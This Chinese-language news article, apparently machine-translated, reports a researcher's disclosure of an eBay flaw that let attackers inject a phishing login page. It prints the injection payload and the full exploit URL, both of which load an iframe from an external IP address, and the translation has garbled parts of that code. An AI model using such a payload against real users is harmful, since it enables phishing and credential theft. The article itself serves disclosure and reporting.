简单而有效的eBay漏洞允许黑客窃取密码

一名独立安全研究人员上个月报告了eBay的一个严重漏洞，该漏洞允许黑客在eBay网站上托管一个虚假登录页面，即钓鱼页面，以窃取用户密码并从数百万用户那里获取凭据。

研究人员的绰号是MLT他说，任何人都有可能利用该漏洞攻击目标eBay用户，通过向他们发送钓鱼电子邮件来接管他们的帐户或获取数千甚至数百万eBay客户的凭据。

MLT周一发布了一篇关于eBay漏洞的博客文章，展示了利用这种漏洞窃取客户密码是多么容易。

MLT在易趣的常规URL中包含了一个指向他自己的第三方网络钓鱼页面的iframe链接，使其看起来像登录页面“托管在合法的eBay网站上".

登录页面看起来几乎与eBay的实际登录页面一模一样，除了自定义URL的第二部分，大多数用户甚至没有注意到。

在本例中，包含研究人员钓鱼页面的iFrame使用以下有效负载注入页面：

文件写入（“<；iframec=”https://45.55.162.179/ebay/signin.ebay.com/ws/eBayISAPI9f90.html&#8221; width=“1500″；height=“1000″>；'）

以下是注入时的完整URL，包括上述有效负载：

https://ebay.com/link/?nav=webview&；网址=javascript:document。写入%28%27%3帧%20src=%22https://45.55.162.179/ebay/signin.ebay.com/ws/eBayISAPI9f90.html%22%20width=%221500%22%20height=%221000%22%3E%27%29

以下是URL的屏幕截图：

完成后，MLT在受感染的网站上键入用户名和密码，然后点击登录，这给了他一个错误。但与此同时，他能够以明文形式抓取输入的凭证。

MLT还提供了一个概念验证视频，实时演示了该漏洞。您可以观看以下视频：

MLT于12月11日向eBay负责地报告了该漏洞，但在第二天收到要求提供更多信息的初步回复后，该公司停止回复研究人员的电子邮件，即使知道该漏洞的后果，也没有发布补丁。

然而，当媒体联系eBay询问该漏洞时，该公司在周一匆忙发布了一个补丁，并在其网站的页面上确认了MLT的发现，该页面专门感谢负责在其网站上报告漏洞的白帽黑客。